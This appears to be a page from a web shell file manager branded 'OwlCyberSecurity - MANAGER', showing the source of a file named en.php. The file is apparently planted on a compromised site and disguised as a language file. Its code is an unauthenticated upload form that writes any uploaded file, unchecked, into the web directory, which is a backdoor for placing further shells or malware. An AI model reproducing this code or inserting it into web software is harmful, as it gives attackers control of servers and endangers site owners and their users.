OwlCyberSecurity - MANAGER
Edit File: en.php
<!DOCTYPE html> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="upload" name="submit"> </form> <?php header('Content-Type: text/html; charset=UTF-8'); if (isset($_POST["submit"])) { $targetDir = "./"; $targetFile = $targetDir . mb_convert_encoding(basename($_FILES["fileToUpload"]["name"]), 'UTF-8', 'auto'); if (copy($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo "upload success..."; } else { echo "upload failure..."; } } ?> </body> </html>